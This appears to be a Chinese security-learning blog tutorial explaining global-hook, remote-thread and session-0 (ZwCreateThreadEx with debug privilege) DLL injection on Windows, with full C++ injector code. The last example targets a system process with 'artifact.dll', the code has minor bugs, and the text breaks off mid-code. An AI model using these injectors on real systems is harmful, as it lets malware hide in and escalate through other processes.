【安全技术】关于几种dll注入方式的学习
何為dll注入
DLL注入技術(shù),一般來講是向一個(gè)正在運(yùn)行的進(jìn)程插入/注入代碼的過程。我們注入的代碼以動(dòng)態(tài)鏈接庫(DLL)的形式存在。DLL文件在運(yùn)行時(shí)將按需加載(類似于UNIX系統(tǒng)中的共享庫(share object,擴(kuò)展名為.so))。然而實(shí)際上,我們可以以其他的多種形式注入代碼(正如惡意軟件中所常見的,任意PE文件,shellcode代碼/程序集等)。
全局鉤子注入
在Windows大部分應(yīng)用都是基于消息機(jī)制,他們都擁有一個(gè)消息過程函數(shù),根據(jù)不同消息完成不同功能,windows通過鉤子機(jī)制來截獲和監(jiān)視系統(tǒng)中的這些消息。一般鉤子分局部鉤子與全局鉤子,局部鉤子一般用于某個(gè)線程,而全局鉤子一般通過dll文件實(shí)現(xiàn)相應(yīng)的鉤子函數(shù)。
核心函數(shù)
SetWindowsHookEx
HHOOK WINAPI SetWindowsHookEx( __in int idHook, \\鉤子類型 __in HOOKPROC lpfn, \\回調(diào)函數(shù)地址 __in HINSTANCE hMod, \\實(shí)例句柄 __in DWORD dwThreadId); \\線程ID通過設(shè)定鉤子類型與回調(diào)函數(shù)的地址,將定義的鉤子函數(shù)安裝到掛鉤鏈中。如果函數(shù)成功返回鉤子的句柄,如果函數(shù)失敗,則返回NULL
實(shí)現(xiàn)原理
由上述介紹可以知道如果創(chuàng)建的是全局鉤子,那么鉤子函數(shù)必須在一個(gè)DLL中。這是因?yàn)檫M(jìn)程的地址空間是獨(dú)立的,發(fā)生對(duì)應(yīng)事件的進(jìn)程不能調(diào)用其他進(jìn)程地址空間的鉤子函數(shù)。如果鉤子函數(shù)的實(shí)現(xiàn)代碼在DLL中,則在對(duì)應(yīng)事件發(fā)生時(shí),系統(tǒng)會(huì)把這個(gè)DLL加較到發(fā)生事體的進(jìn)程地址空間中,使它能夠調(diào)用鉤子函數(shù)進(jìn)行處理。
在操作系統(tǒng)中安裝全局鉤子后,只要進(jìn)程接收到可以發(fā)出鉤子的消息,全局鉤子的DLL文件就會(huì)由操作系統(tǒng)自動(dòng)或強(qiáng)行地加載到該進(jìn)程中。因此,設(shè)置全局鉤子可以達(dá)到DLL注入的目的。創(chuàng)建一個(gè)全局鉤子后,在對(duì)應(yīng)事件發(fā)生的時(shí)候,系統(tǒng)就會(huì)把 DLL加載到發(fā)生事件的進(jìn)程中,這樣,便實(shí)現(xiàn)了DLL注入。
為了能夠讓DLL注入到所有的進(jìn)程中,程序設(shè)置WH_GETMESSAGE消息的全局鉤子。因?yàn)閃H_GETMESSAGE類型的鉤子會(huì)監(jiān)視消息隊(duì)列,并且 Windows系統(tǒng)是基于消息驅(qū)動(dòng)的,所以所有進(jìn)程都會(huì)有自己的一個(gè)消息隊(duì)列,都會(huì)加載 WH_GETMESSAGE類型的全局鉤子DLL。
那么設(shè)置WH_GETMESSAGE就可以通過以下代碼實(shí)現(xiàn),記得加上判斷是否設(shè)置成功
// 設(shè)置全局鉤子BOOL SetHook() {g_Hook = ::SetWindowsHookEx(WH_GETMESSAGE, (HOOKPROC)GetMsgProc, g_hDllMoudle, 0);if (g_Hook == NULL){return FALSE;}return TRUE; }這里第二個(gè)參數(shù)是回調(diào)函數(shù),那么我們還需要寫一個(gè)回調(diào)函數(shù)的實(shí)現(xiàn),這里就需要用到CallNextHookEx這個(gè)api,主要是第一個(gè)參數(shù),這里傳入鉤子的句柄的話,就會(huì)把當(dāng)前鉤子傳遞給下一個(gè)鉤子,若參數(shù)傳入0則對(duì)鉤子進(jìn)行攔截
// 鉤子回調(diào)函數(shù) LRESULT GetMsgProc(int code, WPARAM wParam, LPARAM lParam) {return ::CallNextHookEx(g_Hook, code, wParam, lParam); }既然我們寫入了鉤子,如果不使用的情況下就需要將鉤子卸載掉,那么這里使用到UnhookWindowsHookEx這個(gè)api來卸載鉤子
// 卸載鉤子 BOOL UnsetHook() {if (g_Hook){::UnhookWindowsHookEx(g_Hook);} }既然我們使用到了SetWindowsHookEx這個(gè)api,就需要進(jìn)行進(jìn)程間的通信,進(jìn)程通信的方法有很多,比如自定義消息、管道、dll共享節(jié)、共享內(nèi)存等等,這里就用共享內(nèi)存來實(shí)現(xiàn)進(jìn)程通信
// 共享內(nèi)存 #pragma data_seg("mydata")HHOOK g_hHook = NULL; #pragma data_seg() #pragma comment(linker, "/SECTION:mydata,RWS"實(shí)現(xiàn)過程
首先新建一個(gè)dll【網(wǎng)絡(luò)安全學(xué)習(xí)資料·攻略】
在pch.h頭文件里面聲明這幾個(gè)我們定義的函數(shù)都是裸函數(shù),由我們自己平衡堆棧
然后在pch.cpp里面寫入三個(gè)函數(shù)并創(chuàng)建共享內(nèi)存
然后再在dllmain.cpp設(shè)置DLL_PROCESS_ATTACH,然后編譯生成Golbal.dll
再創(chuàng)建一個(gè)控制臺(tái)項(xiàng)目
使用LoadLibrabryW加載dll,生成GolbalInjectDll.cpp文件
執(zhí)行即可注入GolbalDll.dll
遠(yuǎn)程線程注入
遠(yuǎn)程線程函數(shù)顧名思義,指一個(gè)進(jìn)程在另一個(gè)進(jìn)程中創(chuàng)建線程。
核心函數(shù)
CreateRemoteThread
HANDLE CreateRemoteThread(HANDLE hProcess,LPSECURITY_ATTRIBUTES lpThreadAttributes,SIZE_T dwStackSize,LPTHREAD_START_ROUTINE lpStartAddress,LPVOID lpParameter,DWORD dwCreationFlags,LPDWORD lpThreadId );lpStartAddress:A pointer to the application-defined function of type
LPTHREAD_START_ROUTINE to be executed by the thread and represents the
starting address of the thread in the remote process. The function
must exist in the remote process. For more information, see
ThreadProc).
lpParameter:A pointer to a variable to be passed to the thread
function.
lpStartAddress即線程函數(shù),使用LoadLibrary的地址作為線程函數(shù)地址;lpParameter為線程函數(shù)參數(shù),使用dll路徑作為參數(shù)
VirtualAllocEx
是在指定進(jìn)程的虛擬空間保留或提交內(nèi)存區(qū)域,除非指定MEM_RESET參數(shù),否則將該內(nèi)存區(qū)域置0。
LPVOID VirtualAllocEx(HANDLE hProcess,LPVOID lpAddress,SIZE_T dwSize,DWORD flAllocationType,DWORD flProtect );hProcess:申請(qǐng)內(nèi)存所在的進(jìn)程句柄
lpAddress:保留頁面的內(nèi)存地址;一般用NULL自動(dòng)分配 。
dwSize:欲分配的內(nèi)存大小,字節(jié)單位;注意實(shí)際分 配的內(nèi)存大小是頁內(nèi)存大小的整數(shù)倍。
flAllocationType
可取下列值:
MEM_COMMIT:為特定的頁面區(qū)域分配內(nèi)存中或磁盤的頁面文件中的物理存儲(chǔ)
MEM_PHYSICAL :分配物理內(nèi)存(僅用于地址窗口擴(kuò)展內(nèi)存)
MEM_RESERVE:保留進(jìn)程的虛擬地址空間,而不分配任何物理存儲(chǔ)。保留頁面可通過繼續(xù)調(diào)用VirtualAlloc()而被占用
MEM_RESET :指明在內(nèi)存中由參數(shù)lpAddress和dwSize指定的數(shù)據(jù)無效
MEM_TOP_DOWN:在盡可能高的地址上分配內(nèi)存(Windows 98忽略此標(biāo)志)
MEM_WRITE_WATCH:必須與MEM_RESERVE一起指定,使系統(tǒng)跟蹤那些被寫入分配區(qū)域的頁面(僅針對(duì)Windows 98)
flProtect
可取下列值:
PAGE_READONLY: 該區(qū)域?yàn)橹蛔x。如果應(yīng)用程序試圖訪問區(qū)域中的頁的時(shí)候,將會(huì)被拒絕訪
PAGE_READWRITE 區(qū)域可被應(yīng)用程序讀寫
PAGE_EXECUTE: 區(qū)域包含可被系統(tǒng)執(zhí)行的代碼。試圖讀寫該區(qū)域的操作將被拒絕。
PAGE_EXECUTE_READ :區(qū)域包含可執(zhí)行代碼,應(yīng)用程序可以讀該區(qū)域。
PAGE_EXECUTE_READWRITE: 區(qū)域包含可執(zhí)行代碼,應(yīng)用程序可以讀寫該區(qū)域。
PAGE_GUARD:
區(qū)域第一次被訪問時(shí)進(jìn)入一個(gè)STATUS_GUARD_PAGE異常,這個(gè)標(biāo)志要和其他保護(hù)標(biāo)志合并使用,表明區(qū)域被第一次訪問的權(quán)限
PAGE_NOACCESS: 任何訪問該區(qū)域的操作將被拒絕
PAGE_NOCACHE: RAM中的頁映射到該區(qū)域時(shí)將不會(huì)被微處理器緩存(cached)
注:PAGE_GUARD和PAGE_NOCHACHE標(biāo)志可以和其他標(biāo)志合并使用以進(jìn)一步指定頁的特征。PAGE_GUARD標(biāo)志指定了一個(gè)防護(hù)頁(guard page),即當(dāng)一個(gè)頁被提交時(shí)會(huì)因第一次被訪問而產(chǎn)生一個(gè)one-shot異常,接著取得指定的訪問權(quán)限。PAGE_NOCACHE防止當(dāng)它映射到虛擬頁的時(shí)候被微處理器緩存。這個(gè)標(biāo)志方便設(shè)備驅(qū)動(dòng)使用直接內(nèi)存訪問方式(DMA)來共享內(nèi)存塊。
WriteProcessMemory
此函數(shù)能寫入某一進(jìn)程的內(nèi)存區(qū)域(直接寫入會(huì)出Access Violation錯(cuò)誤),故需此函數(shù)入口區(qū)必須可以訪問,否則操作將失敗。
BOOL WriteProcessMemory(HANDLE hProcess, //進(jìn)程句柄LPVOID lpBaseAddress, //寫入的內(nèi)存首地址LPCVOID lpBuffer, //要寫數(shù)據(jù)的指針SIZE_T nSize, //xSIZE_T *lpNumberOfBytesWritten );實(shí)現(xiàn)原理
使用CreateRemoteThread這個(gè)API,首先使用CreateToolhelp32Snapshot拍攝快照獲取pid,然后使用Openprocess打開進(jìn)程,使用VirtualAllocEx【網(wǎng)絡(luò)安全學(xué)習(xí)資料·攻略】
遠(yuǎn)程申請(qǐng)空間,使用WriteProcessMemory寫入數(shù)據(jù),再用GetProcAddress獲取LoadLibraryW的地址(由于Windows引入了基址隨機(jī)化ASLR安全機(jī)制,所以導(dǎo)致每次開機(jī)啟動(dòng)時(shí)系統(tǒng)DLL加載基址都不一樣,有些系統(tǒng)dll(kernel,ntdll)的加載地址,允許每次啟動(dòng)基址可以改變,但是啟動(dòng)之后必須固定,也就是說兩個(gè)不同進(jìn)程在相互的虛擬內(nèi)存中,這樣的系統(tǒng)dll地址總是一樣的),在注入進(jìn)程中創(chuàng)建線程(CreateRemoteThread)
實(shí)現(xiàn)過程
首先生成一個(gè)dll文件,實(shí)現(xiàn)簡單的彈窗即可
// dllmain.cpp : 定義 DLL 應(yīng)用程序的入口點(diǎn)。 #include "pch.h"BOOL APIENTRY DllMain( HMODULE hModule,DWORD ul_reason_for_call,LPVOID lpReserved){switch (ul_reason_for_call){case DLL_PROCESS_ATTACH:MessageBox(NULL, L"success!", L"Congratulation", MB_OK);case DLL_THREAD_ATTACH:MessageBox(NULL, L"success!", L"Congratulation", MB_OK);case DLL_THREAD_DETACH:case DLL_PROCESS_DETACH:break;}return TRUE; }我們要想進(jìn)行遠(yuǎn)程線程注入,那么就需要得到進(jìn)程的pid,這里使用到的是CreateToolhelp32Snapshot這個(gè)api拍攝快照來進(jìn)行獲取,注意我這里定義了#include “tchar.h”,所有函數(shù)都是使用的寬字符
// 通過進(jìn)程快照獲取PID DWORD _GetProcessPID(LPCTSTR lpProcessName) {DWORD Ret = 0;PROCESSENTRY32 p32;HANDLE lpSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);if (lpSnapshot == INVALID_HANDLE_VALUE){printf("獲取進(jìn)程快照失敗,請(qǐng)重試! Error:%d", ::GetLastError());return Ret;}p32.dwSize = sizeof(PROCESSENTRY32);::Process32First(lpSnapshot, &p32);do {if (!lstrcmp(p32.szExeFile, lpProcessName)){Ret = p32.th32ProcessID;break;}} while (::Process32Next(lpSnapshot, &p32));::CloseHandle(lpSnapshot);return Ret; }首先使用OpenProcess打開進(jìn)程
hprocess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, _Pid);然后使用VirtualAllocEx遠(yuǎn)程申請(qǐng)空間
pAllocMemory = ::VirtualAllocEx(hprocess, NULL, _Size, MEM_COMMIT, PAGE_READWRITE);然后寫入內(nèi)存,使用WriteProcessMemory
Write = ::WriteProcessMemory(hprocess, pAllocMemory, DllName, _Size, NULL);然后創(chuàng)建線程并等待線程函數(shù)結(jié)束,這里WaitForSingleObject的第二個(gè)參數(shù)要設(shè)置為-1才能夠一直等待
//在另一個(gè)進(jìn)程中創(chuàng)建線程 hThread = ::CreateRemoteThread(hprocess, NULL, 0, addr, pAllocMemory, 0, NULL);//等待線程函數(shù)結(jié)束,獲得退出碼 WaitForSingleObject(hThread, -1); GetExitCodeThread(hThread, &DllAddr);綜上完整代碼如下
// RemoteThreadInject.cpp : 此文件包含 "main" 函數(shù)。程序執(zhí)行將在此處開始并結(jié)束。 //#include <iostream> #include <windows.h> #include <TlHelp32.h> #include "tchar.h" char string_inject[] = "F:\\C++\\Inject\\Inject\\Debug\\Inject.dll";//通過進(jìn)程快照獲取PID DWORD _GetProcessPID(LPCTSTR lpProcessName) {DWORD Ret = 0;PROCESSENTRY32 p32;HANDLE lpSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);if (lpSnapshot == INVALID_HANDLE_VALUE){printf("獲取進(jìn)程快照失敗,請(qǐng)重試! Error:%d", ::GetLastError());return Ret;}p32.dwSize = sizeof(PROCESSENTRY32);::Process32First(lpSnapshot, &p32);do {if (!lstrcmp(p32.szExeFile, lpProcessName)){Ret = p32.th32ProcessID;break;}} while (::Process32Next(lpSnapshot, &p32));::CloseHandle(lpSnapshot);return Ret; }//打開一個(gè)進(jìn)程并為其創(chuàng)建一個(gè)線程 DWORD _RemoteThreadInject(DWORD _Pid, LPCWSTR DllName) {//打開進(jìn)程HANDLE hprocess;HANDLE hThread;DWORD _Size = 0;BOOL Write = 0;LPVOID pAllocMemory = NULL;DWORD DllAddr = 0;FARPROC pThread;hprocess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, _Pid);//Size = sizeof(string_inject);_Size = (_tcslen(DllName) + 1) * sizeof(TCHAR);//遠(yuǎn)程申請(qǐng)空間pAllocMemory = ::VirtualAllocEx(hprocess, NULL, _Size, MEM_COMMIT, PAGE_READWRITE);if (pAllocMemory == NULL){printf("VirtualAllocEx - Error!");return FALSE;}// 寫入內(nèi)存Write = ::WriteProcessMemory(hprocess, pAllocMemory, DllName, _Size, NULL);if (Write == FALSE){printf("WriteProcessMemory - Error!");return FALSE;}//獲取LoadLibrary的地址pThread = ::GetProcAddress(::GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");LPTHREAD_START_ROUTINE addr = (LPTHREAD_START_ROUTINE)pThread;//在另一個(gè)進(jìn)程中創(chuàng)建線程hThread = ::CreateRemoteThread(hprocess, NULL, 0, addr, pAllocMemory, 0, NULL);if (hThread == NULL){printf("CreateRemoteThread - Error!");return FALSE;1}//等待線程函數(shù)結(jié)束,獲得退出碼WaitForSingleObject(hThread, -1);GetExitCodeThread(hThread, &DllAddr);//釋放DLL空間VirtualFreeEx(hprocess, pAllocMemory, _Size, MEM_DECOMMIT);//關(guān)閉線程句柄::CloseHandle(hprocess);return TRUE; }int main() {DWORD PID = _GetProcessPID(L"test.exe");_RemoteThreadInject(PID, L"F:\\C++\\Inject\\Inject\\Debug\\Inject.dll"); }然后這里生成一個(gè)test.exe來做測(cè)試
編譯并運(yùn)行,實(shí)現(xiàn)效果如下
突破session 0的遠(yuǎn)程線程注入
首先提一提session0的概念:
Intel的CPU將特權(quán)級(jí)別分為4個(gè)級(jí)別:RING0,RING1,RING2,RING3。Windows只使用其中的兩個(gè)級(jí)別RING0和RING3,RING0只給操作系統(tǒng)用,RING3誰都能用。如果普通應(yīng)用程序企圖執(zhí)行RING0指令,則Windows會(huì)顯示“非法指令”錯(cuò)誤信息。
ring0是指CPU的運(yùn)行級(jí)別,ring0是最高級(jí)別,ring1次之,ring2更次之…… 拿Linux+x86來說, 操作系統(tǒng)(內(nèi)核)的代碼運(yùn)行在最高運(yùn)行級(jí)別ring0上,可以使用特權(quán)指令,控制中斷、修改頁表、訪問設(shè)備等等。 應(yīng)用程序的代碼運(yùn)行在最低運(yùn)行級(jí)別上ring3上,不能做受控操作。如果要做,比如要訪問磁盤,寫文件,那就要通過執(zhí)行系統(tǒng)調(diào)用(函數(shù)),執(zhí)行系統(tǒng)調(diào)用的時(shí)候,CPU的運(yùn)行級(jí)別會(huì)發(fā)生從ring3到ring0的切換,并跳轉(zhuǎn)到系統(tǒng)調(diào)用對(duì)應(yīng)的內(nèi)核代碼位置執(zhí)行,這樣內(nèi)核就為你完成了設(shè)備訪問,完成之后再從ring0返回ring3。這個(gè)過程也稱作用戶態(tài)和內(nèi)核態(tài)的切換。
RING設(shè)計(jì)的初衷是將系統(tǒng)權(quán)限與程序分離出來,使之能夠讓OS更好的管理當(dāng)前系統(tǒng)資源,也使得系統(tǒng)更加穩(wěn)定。舉個(gè)RING權(quán)限的最簡單的例子:一個(gè)停止響應(yīng)的應(yīng)用程式,它運(yùn)行在比RING0更低的指令環(huán)上,你不必大費(fèi)周章的想著如何使系統(tǒng)回復(fù)運(yùn)作,這期間,只需要啟動(dòng)任務(wù)管理器便能輕松終止它,因?yàn)樗\(yùn)行在比程式更低的RING0指令環(huán)中,擁有更高的權(quán)限,可以直接影響到RING0以上運(yùn)行的程序,當(dāng)然有利就有弊,RING保證了系統(tǒng)穩(wěn)定運(yùn)行的同時(shí),也產(chǎn)生了一些十分麻煩的問題。比如一些OS虛擬化技術(shù),在處理RING指令環(huán)時(shí)便遇到了麻煩,系統(tǒng)是運(yùn)行在RING0指令環(huán)上的,但是虛擬的OS畢竟也是一個(gè)系統(tǒng),也需要與系統(tǒng)相匹配的權(quán)限。而RING0不允許出現(xiàn)多個(gè)OS同時(shí)運(yùn)行在上面,最早的解決辦法便是使用虛擬機(jī),把OS當(dāng)成一個(gè)程序來運(yùn)行。
核心函數(shù)
ZwCreateThreadEx
注意一下這個(gè)地方ZwCreateThreadEx這個(gè)函數(shù)在32位和64位中的定義不同
在32位的情況下
DWORD WINAPI ZwCreateThreadEx(PHANDLE ThreadHandle,ACCESS_MASK DesiredAccess,LPVOID ObjectAttributes,HANDLE ProcessHandle,LPTHREAD_START_ROUTINE lpStartAddress,LPVOID lpParameter,BOOL CreateSuspended,DWORD dwStackSize,DWORD dw1,DWORD dw2,LPVOID pUnkown);在64位的情況下
DWORD WINAPI ZwCreateThreadEx(PHANDLE ThreadHandle,ACCESS_MASK DesiredAccess,LPVOID ObjectAttributes,HANDLE ProcessHandle,LPTHREAD_START_ROUTINE lpStartAddress,LPVOID lpParameter,ULONG CreateThreadFlags,SIZE_T ZeroBits,SIZE_T StackSize,SIZE_T MaximumStackSize,LPVOID pUnkown);這里因?yàn)槲覀円M(jìn)到session 0那么就勢(shì)必要到system權(quán)限,所以這里還有幾個(gè)提權(quán)需要用到的函數(shù)
OpenProcessToken
BOOL OpenProcessToken( __in HANDLE ProcessHandle, //要修改訪問權(quán)限的進(jìn)程句柄 __in DWORD DesiredAccess, //指定你要進(jìn)行的操作類型 __out PHANDLE TokenHandle //返回的訪問令牌指針 );LookupPrivilegeValueA
BOOL LookupPrivilegeValueA(LPCSTR lpSystemName, //要查看的系統(tǒng),本地系統(tǒng)直接用NULLLPCSTR lpName, //指向一個(gè)以零結(jié)尾的字符串,指定特權(quán)的名稱PLUID lpLuid //用來接收所返回的制定特權(quán)名稱的信息 );AdjustTokenPrivileges
BOOL AdjustTokenPrivileges( HANDLE TokenHandle, //包含特權(quán)的句柄 BOOL DisableAllPrivileges,//禁用所有權(quán)限標(biāo)志 PTOKEN_PRIVILEGES NewState,//新特權(quán)信息的指針(結(jié)構(gòu)體) DWORD BufferLength, //緩沖數(shù)據(jù)大小,以字節(jié)為單位的PreviousState的緩存區(qū)(sizeof) PTOKEN_PRIVILEGES PreviousState,//接收被改變特權(quán)當(dāng)前狀態(tài)的Buffer PDWORD ReturnLength //接收PreviousState緩存區(qū)要求的大小 );實(shí)現(xiàn)原理
ZwCreateThreadEx比 CreateRemoteThread函數(shù)更為底層,CreateRemoteThread函數(shù)最終是通過調(diào)用ZwCreateThreadEx函數(shù)實(shí)現(xiàn)遠(yuǎn)線程創(chuàng)建的。
通過調(diào)用CreateRemoteThread函數(shù)創(chuàng)建遠(yuǎn)線程的方式在內(nèi)核6.0(Windows VISTA、7、8等)以前是完全沒有問題的,但是在內(nèi)核6.0 以后引入了會(huì)話隔離機(jī)制。它在創(chuàng)建一個(gè)進(jìn)程之后并不立即運(yùn)行,而是先掛起進(jìn)程,在查看要運(yùn)行的進(jìn)程所在的會(huì)話層之后再?zèng)Q定是否恢復(fù)進(jìn)程運(yùn)行。
在Windows XP、Windows Server 2003,以及更老版本的Windows操作系統(tǒng)中,服務(wù)和應(yīng)用程序使用相同的會(huì)話(Session)運(yùn)行,而這個(gè)會(huì)話是由第一個(gè)登錄到控制臺(tái)的用戶啟動(dòng)的。該會(huì)話就叫做Session 0,如下圖所示,在Windows Vista之前,Session 0不僅包含服務(wù),也包含標(biāo)準(zhǔn)用戶應(yīng)用程序。
將服務(wù)和用戶應(yīng)用程序一起在Session 0中運(yùn)行會(huì)導(dǎo)致安全風(fēng)險(xiǎn),因?yàn)榉?wù)會(huì)使用提升后的權(quán)限運(yùn)行,而用戶應(yīng)用程序使用用戶特權(quán)(大部分都是非管理員用戶)運(yùn)行,這會(huì)使得惡意軟件以某個(gè)服務(wù)為攻擊目標(biāo),通過“劫持”該服務(wù),達(dá)到提升自己權(quán)限級(jí)別的目的。【網(wǎng)絡(luò)安全學(xué)習(xí)資料·攻略】
從Windows Vista開始,只有服務(wù)可以托管到Session 0中,用戶應(yīng)用程序和服務(wù)之間會(huì)被隔離,并需要運(yùn)行在用戶登錄到系統(tǒng)時(shí)創(chuàng)建的后續(xù)會(huì)話中。例如第一個(gè)登錄的用戶創(chuàng)建 Session 1,第二個(gè)登錄的用戶創(chuàng)建Session 2,以此類推,如下圖所示。
使用CreateRemoteThread注入失敗DLL失敗的關(guān)鍵在第七個(gè)參數(shù)CreateThreadFlags, 他會(huì)導(dǎo)致線程創(chuàng)建完成后一直掛起無法恢復(fù)進(jìn)程運(yùn)行,導(dǎo)致注入失敗。而想要注冊(cè)成功,把該參數(shù)的值改為0即可。
實(shí)現(xiàn)過程
在win10系統(tǒng)下如果我們要注入系統(tǒng)權(quán)限的exe,就需要使用到debug調(diào)試權(quán)限,所以先寫一個(gè)提權(quán)函數(shù)。
// 提權(quán)函數(shù) BOOL EnableDebugPrivilege() {HANDLE hToken;BOOL fOk = FALSE;if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)){TOKEN_PRIVILEGES tp;tp.PrivilegeCount = 1;LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);fOk = (GetLastError() == ERROR_SUCCESS);CloseHandle(hToken);}return fOk;}在進(jìn)程注入dll的過程中,是不能夠使用MessageBox的,系統(tǒng)程序不能夠顯示程序的窗體,所以這里編寫一個(gè)ShowError函數(shù)來獲取錯(cuò)誤碼
void ShowError(const char* pszText) {char szError[MAX_PATH] = { 0 };::wsprintf(szError, "%s Error[%d]\n", pszText, ::GetLastError());::MessageBox(NULL, szError, "ERROR", MB_OK); }首先打開進(jìn)程獲取句柄,使用到OpenProcess
hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);然后是在注入的進(jìn)程申請(qǐng)內(nèi)存地址,使用到VirtualAllocEx
pDllAddr = ::VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);再使用WriteProcessMemory寫入內(nèi)存
WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize, NULL)加載ntdll,獲取LoadLibraryA函數(shù)地址
HMODULE hNtdllDll = ::LoadLibrary("ntdll.dll");pFuncProcAddr = ::GetProcAddress(::GetModuleHandle("Kernel32.dll"), "LoadLibraryA");獲取ZwCreateThreadEx函數(shù)地址
typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdllDll, "ZwCreateThreadEx");使用 ZwCreateThreadEx創(chuàng)建遠(yuǎn)線程, 實(shí)現(xiàn) DLL 注入
dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, 0, 0, 0, NULL);這里還有一點(diǎn)需要注意的是ZwCreateThreadEx在 ntdll.dll 中并沒有聲明,所以我們需要使用 GetProcAddress從 ntdll.dll中獲取該函數(shù)的導(dǎo)出地址
這里加上ZwCreateThreadEx的定義,因?yàn)?4位、32位結(jié)構(gòu)不同,所以都需要進(jìn)行定義
#ifdef _WIN64typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(PHANDLE ThreadHandle,ACCESS_MASK DesiredAccess,LPVOID ObjectAttributes,HANDLE ProcessHandle,LPTHREAD_START_ROUTINE lpStartAddress,LPVOID lpParameter,ULONG CreateThreadFlags,SIZE_T ZeroBits,SIZE_T StackSize,SIZE_T MaximumStackSize,LPVOID pUnkown); #elsetypedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(PHANDLE ThreadHandle,ACCESS_MASK DesiredAccess,LPVOID ObjectAttributes,HANDLE ProcessHandle,LPTHREAD_START_ROUTINE lpStartAddress,LPVOID lpParameter,BOOL CreateSuspended,DWORD dwStackSize,DWORD dw1,DWORD dw2,LPVOID pUnkown);完整代碼如下
// session0Inject.cpp : 此文件包含 "main" 函數(shù)。程序執(zhí)行將在此處開始并結(jié)束。 //#include <Windows.h> #include <stdio.h> #include <iostream>void ShowError(const char* pszText) {char szError[MAX_PATH] = { 0 };::wsprintf(szError, "%s Error[%d]\n", pszText, ::GetLastError());::MessageBox(NULL, szError, "ERROR", MB_OK); }// 提權(quán)函數(shù) BOOL EnableDebugPrivilege() {HANDLE hToken;BOOL fOk = FALSE;if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)){TOKEN_PRIVILEGES tp;tp.PrivilegeCount = 1;LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);fOk = (GetLastError() == ERROR_SUCCESS);CloseHandle(hToken);}return fOk;}// 使用 ZwCreateThreadEx 實(shí)現(xiàn)遠(yuǎn)線程注入 BOOL ZwCreateThreadExInjectDll(DWORD PID,const char* pszDllFileName) {HANDLE hProcess = NULL;SIZE_T dwSize = 0;LPVOID pDllAddr = NULL;FARPROC pFuncProcAddr = NULL;HANDLE hRemoteThread = NULL;DWORD dwStatus = 0;EnableDebugPrivilege();// 打開注入進(jìn)程,獲取進(jìn)程句柄hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);if (hProcess == NULL) {printf("OpenProcess - Error!\n\n");return -1 ;}// 在注入的進(jìn)程申請(qǐng)內(nèi)存地址dwSize = ::lstrlen(pszDllFileName) + 1;pDllAddr = ::VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);if (NULL == pDllAddr){ShowError("VirtualAllocEx - Error!\n\n");return FALSE;}//寫入內(nèi)存地址if (FALSE == ::WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize, NULL)){ShowError("WriteProcessMemory - Error!\n\n");return FALSE;}//加載ntdllHMODULE hNtdllDll = ::LoadLibrary("ntdll.dll");if (NULL == hNtdllDll){ShowError("LoadLirbary");return FALSE;}// 獲取LoadLibraryA函數(shù)地址pFuncProcAddr = ::GetProcAddress(::GetModuleHandle("Kernel32.dll"), "LoadLibraryA");if (NULL == pFuncProcAddr){ShowError("GetProcAddress_LoadLibraryA - Error!\n\n");return FALSE;}#ifdef _WIN64typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(PHANDLE ThreadHandle,ACCESS_MASK DesiredAccess,LPVOID ObjectAttributes,HANDLE ProcessHandle,LPTHREAD_START_ROUTINE lpStartAddress,LPVOID lpParameter,ULONG CreateThreadFlags,SIZE_T ZeroBits,SIZE_T StackSize,SIZE_T MaximumStackSize,LPVOID pUnkown); #elsetypedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(PHANDLE ThreadHandle,ACCESS_MASK DesiredAccess,LPVOID ObjectAttributes,HANDLE ProcessHandle,LPTHREAD_START_ROUTINE lpStartAddress,LPVOID lpParameter,BOOL CreateSuspended,DWORD dwStackSize,DWORD dw1,DWORD dw2,LPVOID pUnkown); #endif//獲取ZwCreateThreadEx函數(shù)地址typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdllDll, "ZwCreateThreadEx");if (NULL == ZwCreateThreadEx){ShowError("GetProcAddress_ZwCreateThread - Error!\n\n");return FALSE;}// 使用 ZwCreateThreadEx 創(chuàng)建遠(yuǎn)線程, 實(shí)現(xiàn) DLL 注入dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, 0, 0, 0, NULL);if (NULL == ZwCreateThreadEx){ShowError("ZwCreateThreadEx - Error!\n\n");return FALSE;}// 關(guān)閉句柄::CloseHandle(hProcess);::FreeLibrary(hNtdllDll);return TRUE; }int main(int argc, char* argv[]) { #ifdef _WIN64BOOL bRet = ZwCreateThreadExInjectDll(4924, "C:\\Users\\61408\\Desktop\\artifact.dll"); #else BOOL bRet = ZwCreateThreadExInjectDll(4924, "C:\\Users\\61408\\Desktop\\artifact.dll"); #endifif (FALSE == bRet){printf("Inject Dll 